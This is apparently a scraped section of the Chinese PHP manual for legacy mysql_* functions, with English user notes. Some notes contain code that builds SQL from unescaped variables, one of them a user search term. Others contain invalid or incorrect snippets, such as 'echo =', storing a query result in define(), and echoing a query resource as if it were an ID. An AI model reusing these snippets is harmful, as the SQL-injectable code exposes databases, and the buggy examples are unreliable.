$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
   $fieldname=mysql_field_name($result,$x);
   $fieldtype=mysql_field_type($result, $x);
   if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm
21-Feb-2003 10:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
   // open the db
   $db_link = my_sql_link();
   // query table using key col/val
   $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
   $num_fields = mysql_num_fields($db_rs);
   if ($num_fields) {
       // first (and only) row
       $row = mysql_fetch_assoc($db_rs);
       // load up array
       for ($i = 0; $i < $num_fields; $i++) {
           $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
       }
       // and return
       return $simple_q;
   } else {
       // no rows
       return false;
   }
   mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net
21-Feb-2003 10:07
<?
/*
   By simply calling the searchtable() function
   with these variables it will serach the desired
   database and procude a table for each field that
   there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
   $link  = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
   $db    = mysql_select_db($database, $link) or die(mysql_error());
   $fields = mysql_list_fields($database, $tablename, $link);
   $cols  = mysql_num_fields($fields);

   for ($i = 1; $i < $cols; $i++) {
       $allfields[] = mysql_field_name($fields, $i);
   }
   foreach ($allfields as $myfield) {
       $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
       if (mysql_num_rows($result) > 0){
           echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
           echo "<table border=1 align=\"center\">\n\t<tr>\n";
           for ($i = 1; $i < $cols; $i++) {
               echo "\t\t<th";
               if ($myfield == mysql_field_name($fields, $i)){
                   echo " bgcolor=\"orange\"> ";
               } else {
                   echo ">";
               }
               echo mysql_field_name($fields, $i) . "</th>\n";
           }
           echo "\t</tr>\n";
           $myrow = mysql_fetch_array($result);
           do {
               echo "\t<tr>\n";
               for ($i = 1; $i < $cols; $i++){
                   echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
               }
               echo "\t</tr>\n";
           } while ($myrow = mysql_fetch_array($result));
           echo "</table>\n";
       }
   }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
zan at stargeek dot com
15-Jan-2003 01:45
a simple example of how to use mysql_field_name to create column headings for a dynamically generated excel file from a mysql db. http://www.stargeek.com/scripts.php?script=2&cat=sql
matt at iwdt dot net
24-Sep-2001 09:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
   print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
wade at staffordware dot com
05-Nov-1999 08:06
If a field returned by the result contains NULL then that field name will not be returned (WIN32).
add a note add a note

后退 | 起点 | 前进
mysql_field_len | 上一级 | mysql_field_seek


mysql_field_seek

(PHP 3, PHP 4, PHP 5)

mysql_field_seek -- 将结果集中的指针设定为制定的字段偏移量

说明

int mysql_field_seek ( resource result, int field_offset )

用指定的字段偏移量检索。如果下一个 mysql_fetch_field() 的调用不包括字段偏移量，则会返回本次 mysql_field_seek() 中指定的偏移量的字段。

参见 mysql_fetch_field()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_field_name | 上一级 | mysql_field_table


mysql_field_table

(PHP 3, PHP 4, PHP 5)

mysql_field_table -- 取得指定字段所在的表名

说明

string mysql_field_table ( resource result, int field_offset )

返回指定字段所在的表的名字。

为向下兼容仍然可以使用 mysql_fieldtable()，但反对这样做。

add a note add a note User Contributed Notes
me at thomaskeller dot biz
24-Nov-2005 05:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo
15-Aug-2004 10:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.
add a note add a note

后退 | 起点 | 前进
mysql_field_seek | 上一级 | mysql_field_type


mysql_field_type

(PHP 3, PHP 4, PHP 5)

mysql_field_type -- 取得结果集中指定字段的类型

说明

string mysql_field_type ( resource result, int field_offset )

mysql_field_type() 和 mysql_field_name() 函数相似。参数完全相同，但返回的是字段类型而不是字段名。字段类型有“int”，“real”，“string”，“blob”以及其它，详见 MySQL 手册。

例子 1. mysql_field_type() 例子

<?php
    mysql_connect("localhost", "mysql_username", "mysql_password");
    mysql_select_db("mysql");
    $result = mysql_query("SELECT * FROM func");
    $fields = mysql_num_fields($result);
    $rows   = mysql_num_rows($result);
    $table = mysql_field_table($result, 0);
    echo "Your '".$table."' table has ".$fields." fields and ".$rows." record(s)\n";
    echo "The table has the following fields:\n";
    for ($i=0; $i < $fields; $i++) {
        $type  = mysql_field_type($result, $i);
        $name  = mysql_field_name($result, $i);
        $len   = mysql_field_len($result, $i);
        $flags = mysql_field_flags($result, $i);
        echo $type." ".$name." ".$len." ".$flags."\n";
    }
    mysql_free_result($result);
    mysql_close();
?>

以上例子将产生如下输出：

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

为向下兼容仍然可以使用 mysql_fieldtype()，但反对这样做。

add a note add a note User Contributed Notes
19-Feb-2006 03:52
This function is broken in 4.4.1 (works fine in 4.3.X).
http://bugs.php.net/35536
harald at weinreichs dot de
07-Jun-2005 01:02
The note blow seems incomplete/incorrect. For php 4.3 and mysql 4.x the returned values are:

CHAR, VARCHAR, TINYTEXT, TEXT, MEDIUMTEXT, LONGTEXT, ENUM, SET: string
TINYINT, SMALLINT, MEDIUMINT, INT, INTEGER, BIGINT: int
FLOAT, DOUBLE, DECIMAL, NUMERIC: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINYBLOB, MEDIUMBLOB, LONGBLOB, BLOB: blob

if mysql-field-type seems to return the wrong values, you may encounter an compatibility problem of mysql, php and the libraries you use. Try reinstalling php and mysql.
mariob at menta dot net
08-Nov-2003 04:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com
10-Jul-2003 01:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk
10-Mar-2002 10:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
   or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
ludwigp at bigfoot dot com
18-Aug-2000 10:39
Like mysql_fetch_field, this returns the PHP type, not the MySQL type.
add a note add a note

后退 | 起点 | 前进
mysql_field_table | 上一级 | mysql_free_result


mysql_free_result

(PHP 3, PHP 4, PHP 5)

mysql_free_result -- 释放结果内存

说明

bool mysql_free_result ( resource result )

mysql_free_result() 将释放所有与结果标识符 result 所关联的内存。

mysql_free_result() 仅需要在考虑到返回很大的结果集时会占用多少内存时调用。在脚本结束后所有关联的内存都会被自动释放。

如果成功则返回 TRUE，失败则返回 FALSE。

为向下兼容仍然可以使用 mysql_freeresult()，但反对这样做。

add a note add a note User Contributed Notes
Nairebis
26-Feb-2006 10:00
ALWAYS use this function! I just encountered a bug in my code where I forgot to use this function. I also happen to be using mysql_pconnect() for a persistent connection. If you forget to free the result, it can hold the old result set open indefinitely within the HTTP process.

The upshot (in my application) was that I did updates that happened in a different HTTP process, but they mysteriously didn't show up in another HTTP process. After panicking that MySQL had mysterious data corruption and/or synchronization problems, I traced it back to this where an old result set was held open.
mdeininger at jyujin dot de
20-Sep-2005 07:45
yes, i encountered that too. as far as i could tell, that's because the script is stored in memory after being compiled and that's as much more memory as it needs for a call to that function.

if you always get lotsa data in your results, using this function will decrease memory usage tho, unless you use non-buffered queries (which are preferable unless you absolutely *have* to use mysql_seek(), or you need to do another query while the last one hasn't finished reporting back, as they can provide a small speedup)
macronesia at macronesia dot net
03-Jul-2005 03:11
You not need to use this if you are using PHP 4.

The comment below this comment may explain why it's actually costing more memory.
Joachim Kruyswijk
14-Jun-2005 05:42
Using this function may actually increase the amount of memory used. In my case, the script used 208 bytes less memory when *not* using mysql_free_result().
Check for yourself: call memory_get_usage() at the end of the script.
marcelo at orionlab dot net
02-Sep-2004 07:28
A very simple example:

<?php

// author: marcelo santos araujo
// marcelo at orionlab dot net

@mysql_connect("host","user","password");
@mysql_select_db("database");

$simple_query = @mysql_query("SELECT * FROM login;");

// using mysql_free_result()
// managing memory

@mysql_free_result($simple_query);

?>
steve at stevedix dot de
06-Feb-2003 07:58
Godyvdb below is making an incorrect assumption, which may confuse.

When you call a query, you are returned a handle, which points to a set of results and the associated variables for it.  When you call free_result with that handle it will do a garbage - collection upon the result and associated variables, freeing up the memory.

What it WON'T do, and this is what Godyvdb is assuming, is optimise memory space by freeing all memory taken up by similar queries.  In his example

$myhandle=mysql_query("....");
mysql_free_result(mysql_query("...."));

all he does is makes another query to the database, generates a new handle, then immediately frees up the space allocated to the result.

If you wish to free up memory, then you can only do so by quoting the correct handle. You cannot generate a new handle to an existing query by the use of mysql_query.

eg.

$myhandle = mysql_query("....");
$anotherhandle =mysql_query("....");
mysql_free_result($myhandle);

$anotherhandle will still point to an existing set of results, whilst $myhandle won't.  The two handles are not related.
add a note add a note

后退 | 起点 | 前进
mysql_field_type | 上一级 | mysql_get_client_info


mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info -- 取得 MySQL 客户端信息

说明

string mysql_get_client_info ( void )

mysql_get_client_info() 返回一个字符串指出了客户端库的版本。

例子 1. mysql_get_client_info() 例子

<?php
    printf ("MySQL client info: %s\n", mysql_get_client_info());
?>

以上例子将产生如下输出：

MySQL client info: 3.23.39

参见 mysql_get_host_info()，mysql_get_proto_info() 和 mysql_get_server_info()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_free_result | 上一级 | mysql_get_host_info


mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info -- 取得 MySQL 主机信息

说明

string mysql_get_host_info ( [resource link_identifier] )

mysql_get_host_info() 返回一个字符串说明了连接 link_identifier 所使用的连接方式，包括服务器的主机名。如果省略 link_identifier，则使用上一个打开的连接。

例子 1. mysql_get_host_info() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    printf ("MySQL host info: %s\n", mysql_get_host_info());
?>

以上例子将产生如下输出：

MySQL host info: Localhost via UNIX socket

参见 mysql_get_client_info()，mysql_get_proto_info() 和 mysql_get_server_info()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_get_client_info | 上一级 | mysql_get_proto_info


mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info -- 取得 MySQL 协议信息

说明

int mysql_get_proto_info ( [resource link_identifier] )

mysql_get_proto_info() 返回 link_identifier 所使用的协议版本。如果省略 link_identifier，则使用上一个打开的连接。

例子 1. mysql_get_proto_info() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    printf ("MySQL protocol version: %s\n", mysql_get_proto_info());
?>

以上例子将产生如下输出：

MySQL protocol version: 10

参见 mysql_get_client_info()，mysql_get_host_info() 和 mysql_get_server_info()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_get_host_info | 上一级 | mysql_get_server_info


mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info -- 取得 MySQL 服务器信息

说明

string mysql_get_server_info ( [resource link_identifier] )

mysql_get_server_info() 返回 link_identifier 所使用的服务器版本。如果省略 link_identifier，则使用上一个打开的连接。

例子 1. mysql_get_server_info() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    printf ("MySQL server version: %s\n", mysql_get_server_info());
?>

以上例子将产生如下输出：

MySQL server version: 4.0.1-alpha

参见 mysql_get_client_info()，mysql_get_host_info() 和 mysql_get_proto_info()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_get_proto_info | 上一级 | mysql_info


mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info -- 取得最近一条查询的信息

说明

string mysql_info ( [resource link_identifier] )

mysql_info() 返回通过给定的 link_identifier 所进行的最新一条查询的详细信息。如果没有指定 link_identifier，则假定为上一个打开的连接。

mysql_info() 对以下列出的所有语句返回一个字符串。对于其它任何语句返回 FALSE。字符串的格式取决于给出的语句。

例子 1. 相关的 MySQL 语句

INSERT INTO ... SELECT ...
字符串格式：Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
字符串格式：Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
字符串格式：Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
字符串格式：Records: 60 Duplicates: 0 Warnings: 0
UPDATE
字符串格式：Rows matched: 65 Changed: 65 Warnings: 0
上例中的数字只是为了演示的目的，实际的值取决于查询。

注: mysql_info() 对于 INSERT ... VALUES 语句仅在该语句中列出了多个值的情况下返回一个非 FALSE 的值。

参见 mysql_affected_rows()。

add a note add a note User Contributed Notes
bdobrica at gmail dot com
25-Apr-2006 03:18
As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
       $info_str = mysql_info();
       $a_rows = mysql_affected_rows();
       ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
       return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
       }

Hope you'll find it usefull.
info at granville dot nl
09-Nov-2005 07:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

   $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
       ereg("Rows matched: ([0-9]*)", $info_str, $count);
   }

   return $count;

}
eric at projectsatellite dot com
23-Sep-2003 05:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
   $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

   $return = array();
   ereg("Records: ([0-9]*)", $strInfo, $records);
   ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
   ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
   ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
   ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
   ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
   ereg("Changed: ([0-9]*)", $strInfo, $changed);

   $return['records'] = $records[1];
   $return['duplicates'] = $dupes[1];
   $return['warnings'] = $warnings[1];
   $return['deleted'] = $deleted[1];
   $return['skipped'] = $skipped[1];
   $return['rows_matched'] = $rows_matched[1];
   $return['changed'] = $changed[1];

   return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se
07-Sep-2002 07:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.
add a note add a note

后退 | 起点 | 前进
mysql_get_server_info | 上一级 | mysql_insert_id


mysql_insert_id

(PHP 3, PHP 4, PHP 5)

mysql_insert_id -- 取得上一步 INSERT 操作产生的 ID

说明

int mysql_insert_id ( [resource link_identifier] )

mysql_insert_id() 返回给定的 link_identifier 中上一步 INSERT 查询中产生的 AUTO_INCREMENT 的 ID 号。如果没有指定 link_identifier，则使用上一个打开的连接。

如果上一查询没有产生 AUTO_INCREMENT 的值，则 mysql_insert_id() 返回 0。如果需要保存该值以后使用，要确保在产生了值的查询之后立即调用 mysql_insert_id()。

注: MySQL 中的 SQL 函数 LAST_INSERT_ID() 总是保存着最新产生的 AUTO_INCREMENT 值，并且不会在查询语句之间被重置。

警告

mysql_insert_id() 将 MySQL 内部的 C API 函数 mysql_insert_id() 的返回值转换成 long（PHP 中命名为 int）。如果 AUTO_INCREMENT 的列的类型是 BIGINT，则 mysql_insert_id() 返回的值将不正确。可以在 SQL 查询中用 MySQL 内部的 SQL 函数 LAST_INSERT_ID() 来替代。

例子 1. mysql_insert_id() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password") or
        die("Could not connect: " . mysql_error());
    mysql_select_db("mydb");

    mysql_query("INSERT INTO mytable (product) values ('kossu')");
    printf ("Last inserted record has id %d\n", mysql_insert_id());
?>

参见 mysql_query()。

add a note add a note User Contributed Notes
james dot baxter at nospamplease dot com
09-May-2006 08:09
Have had many people coming to me with issues regarding last_insert_id and mysql_insert_id() etc

This is a very simple solution that caters for most. As you can see it gets the last auto inc from the field, in this case, ID.

mysql_query("LOCK TABLES art WRITE");

mysql_query("INSERT INTO table (....) VALUES (....)");

$result = mysql_query("SELECT MAX(ID) AS LAST_ID FROM table");

$result = mysql_fetch_array($result);

mysql_query("UNLOCK TABLES");

echo "Last ID#" . $result[LAST_ID];
john k.
01-Feb-2006 06:55
Be careful when using "insert ignore". If the unique index already exists, the record will not be added, but it WILL give you the id of the next auto_increment value even though it didn't create it.

<?php
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";

// same record, database is unique on 'num'
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";
?>

would give:
1
116372

0
116373
heiligkind at yahoo dot de
14-Dec-2005 05:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
         mysql_query( "SELECT LAST_INSERT_ID()" ),
         '<br>mysql_insert_id: ',
         mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
   $query = "INSERT INTO test (value)
                 VALUES ('test')
                 ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
         mysql_query( "SELECT LAST_INSERT_ID()" ),
         '<br>mysql_insert_id: ',
         mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
Soroushl at gmail dot com
07-Dec-2005 01:53
As mentioned by frumler at the-beach dot no_spam dot net

the LAST_INSERT_ID works like a charm when inserting values into tables.

I'm not sure why anyone would need mysql_insert_id() when LAST_INSERT_ID is readily available.

example:

Say you have a table called "transaction" and a table called "accounts".  Obviously each account must be created using a transaction, so every time a record is created in the accounts table, a record must be created in the transaction table containing the same account_id(auto_increment) that was just created by mysql.

Here's a simple way to do this:

<?php
$account_query="INSERT INTO accounts (account_id,type) VALUES (NULL,'saving')";
$transaction_query="INSERT INTO transactions(transaction_id,account_id) VALUES (NULL,LAST_INSERT_ID)";

$a_query=mysql_query($account_query);
$t_query=mysql_query($transaction_query);

?>
03-Dec-2005 02:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
bholbrook at servillian dot com
02-Sep-2005 04:50
My apologies for the error below (that was modified out of a class) - as you cannot define a constant as an array.

replace the line:

<?

define("ID",...);

?>

with

<?

$mysql_id = mysql_query("...");

?>

$mysql_id is now an array in which the first element $mysql_id[0] holds the last inserted id.

Apologies if anyone struggled over that one... esp. the noobs.
bholbrook at servillian dot com
31-Aug-2005 04:45
An effective way to retrieve the last insert id without fail or having two queries inserted at the same time causing an unexpected number being returned.

<?

mysql_query("LOCK TABLES apc_forms WRITE");
mysql_query("SET AUTOCOMMIT = 0");
mysql_query("INSERT INTO apc_forms (form_title, form_event_id, form_expirey) VALUES ('title',1,'2005-10-10')");
define('ID',mysql_query("SELECT LAST_INSERT_ID()"));
mysql_query("COMMIT");
mysql_query("UNLOCK TABLES");

?>
athies at gmail dot com
22-Jul-2005 05:36
Just a quick note. mysql_insert_id() does work with REPLACE.
ed at is-cool dot net
09-May-2005 01:25
Beware, mysql_insert_id() only returns the value of the last syntaxically correct insert statement.

If your code has a problem and the insert is not understood by the server then the value of the last working insert command is returned.

Put something else in place such as "select count( id ) from table" before and after the mysql_insert_id() call to ensure that a row was inserted.
relic at daimi dot au dot dk
20-Feb-2005 10:57
A bit more on return values:
mysql_insert_id() returns 0 if you haven't actually manipulated anything yet.

Also, it returns 0 even if the DB connection is lost[0] between inserting and calling mysql_insert_id() - so you can always count on getting an integer.

[0] By 'lost' I mean e.g. a DB crash. Actually closing the open link and then trying to communicate with the DB will of course result in an error.
brodseba AT brodseba DOT com
16-Feb-2005 04:37
It's possible to do the same with M$ Server.

function odbc_insert_id()
{
  $query = "SELECT @@IDENTITY AS ID;";
  $result = odbc_exec($this->m_rConnectionID, $query);
  $row = odbc_fetch_object($result);
  return $row->ID;
}
sander [ad] deltaserv [d0t] nl
11-Nov-2004 09:38
In reply to: sly at noiretblanc dot org:

Make sure that auto_increment has an capital A as the first letter, otherwise it WON'T work! So you have to spell it as Auto_increment... And then it works fine.
Baak
01-Oct-2004 02:04
I believe the "resource link" being referred to is not what is returned from mysql_query() but the $link returned from mysql_connect(). mysql_insert_id() will just use the most recent connection if there is no explicit $link being used.

So the above example in the manual page itself should behave the same with mysql_insert_id($link) at the end instead of the mysql_insert_id() they used. If you had multiple connections, the $link might come in handy.

Also in reading the mysql manual itself, there is some enlightening information on the fact that this does appear to be totally safe to use because it is on a per-connection basis.

Here's the relevant quote from the manual on LAST_INSERT_ID() which is located here: http://dev.mysql.com/doc/mysql/en/Information_functions.html

"The last ID that was generated is maintained in the server on a per-connection basis. This means the value the function returns to a given client is the most recent AUTO_INCREMENT value generated by that client. The value cannot be affected by other clients, even if they generate AUTO_INCREMENT values of their own. This behavior ensures that you can retrieve your own ID without concern for the activity of other clients, and without the need for locks or transactions."

Sounds safe to me. I couldn't imagine this would be done any other way *but* on a per-connection basis, otherwise chaos would ensue. The only way to test it would be to perform a multi-thread type test. Perhaps someone is up for it and wants to post their results somewhere? :)
Steve Bond
25-Jun-2004 02:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
Wayne Theisinger
26-Feb-2004 07:40
In response to treylane at example dot com.

It is very very very important that you put in an "or die" or some other form of error handling.

Some scripts can fail invisibly and insert invalid data throughout your whole database because of mysql_insert_id
inserting the last successful insertid rather than reporting that the last attempt failed.

example of an or die statement.

$result = mysql_query($sql)
or die("Invalid query: " . mysql_error());
$EventID = mysql_insert_id();
dtez
12-Feb-2004 08:36
any zerofills on your id get chopped off on this function because it returns an int.
sly at noiretblanc dot org
14-Nov-2003 07:29
To get the NEXT insert id use the mysql query SHOW TABLE STATUS LIKE 'tablename' and get the field auto_increment...
treylane at example dot com
25-Apr-2003 05:36
This might be obvious, but it tripped me up - be careful when using last_insert_id() with persistent connections - running last_insert_id() after a failed update/insert/etc will return the last insert id of the last successful update/insert made by that CONNECTION rather than 0 for the number of rows updated by the previous non-working query, and who knows what the last query run on that connection was.
jameszhou2001 at yahoo dot ca
17-Dec-2002 10:30
Just a reminder, mysql_insert_id() should be called after 'mysql_affected_rows()', but BEFORE 'mysql_query("COMMIT")'.
frumler at the-beach dot no_spam dot net
04-Aug-2001 02:17
If you want to use the ID that was generated for one table and insert it into a second table, you can use SQL statements like this:

INSERT INTO foo (auto,text)
   VALUES(NULL,'text');              # generate ID by inserting NULL
INSERT INTO foo2 (id,text)
   VALUES(LAST_INSERT_ID(),'text');  # use ID in second table

...found here:
http://www.mysql.com/doc/en/Getting_unique_ID.html

It works even without inserting the NULL value for some reason ;)
The following is great for monitoring:
   $new_id = mysql_insert_id();
   print "New id: $new_id\n";

Hope it helps you all, cheers.
vksgeneric at hotmail dot com
10-Dec-1999 09:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad
add a note add a note

后退 | 起点 | 前进
mysql_info | 上一级 | mysql_list_dbs


mysql_list_dbs

(PHP 3, PHP 4, PHP 5)

mysql_list_dbs -- 列出 MySQL 服务器中所有的数据库

说明

resource mysql_list_dbs ( [resource link_identifier] )

mysql_list_dbs() 将返回一个结果指针，包含了当前 MySQL 进程中所有可用的数据库。用 mysql_tablename() 函数来遍历此结果指针，或者任何使用结果表的函数，例如 mysql_fetch_array()。

例子 1. mysql_list_dbs() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}
?>

以上例子将产生如下输出：

database1
database2
database3
...

注: 以上代码用起来和 mysql_fetch_row() 或类似函数一样简单。

为向下兼容仍然可以使用 mysql_listdbs()，但反对这样做。

参见 mysql_db_name()。

add a note add a note User Contributed Notes
vladson at pc-labs dot info
06-Jun-2005 09:58
I think it's better this way...
<?php
function sql_list_dbs($link) {
   $result = mysql_query('SHOW DATABASES;', $link);
   while( $data = mysql_fetch_row($result) ) {
       $array[] = $data[0];
   }
   return $array;
}
?>
fred at surleau dot com
17-Mar-2001 05:07
[Editor's Note: mysql_db_name(), mysql_dbname()  and mysql_tablename() are all aliases for mysql_result() and should behave in exactly the same fashion. --zak@php.net]

Use mysql_db_name() instead of mysql_tablename() to read databases.
http://php.net/manual/en/function.mysql-db-name.php
add a note add a note

后退 | 起点 | 前进
mysql_insert_id | 上一级 | mysql_list_fields


mysql_list_fields

(PHP 3, PHP 4, PHP 5)

mysql_list_fields -- 列出 MySQL 结果中的字段

说明

resource mysql_list_fields ( string database_name, string table_name [, resource link_identifier] )

mysql_list_fields() 取得给定表名的信息。参数是数据库名和表名。返回一个结果指针，可以用于 mysql_field_flags()，mysql_field_len()，mysql_field_name() 和 mysql_field_type()。

例子 1. mysql_list_fields() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$fields = mysql_list_fields("database1", "table1", $link);
$columns = mysql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {
    echo mysql_field_name($fields, $i) . "\n";
}

以上例子将产生如下输出：

field1
field2
field3
...

为向下兼容仍然可以使用 mysql_listfields()，但反对这样做。

注: mysql_list_fields() 函数已过时。最好用 mysql_query() 来发出一条 SHOW COLUMNS FROM table [LIKE 'name'] 的 SQL 语句来代替。

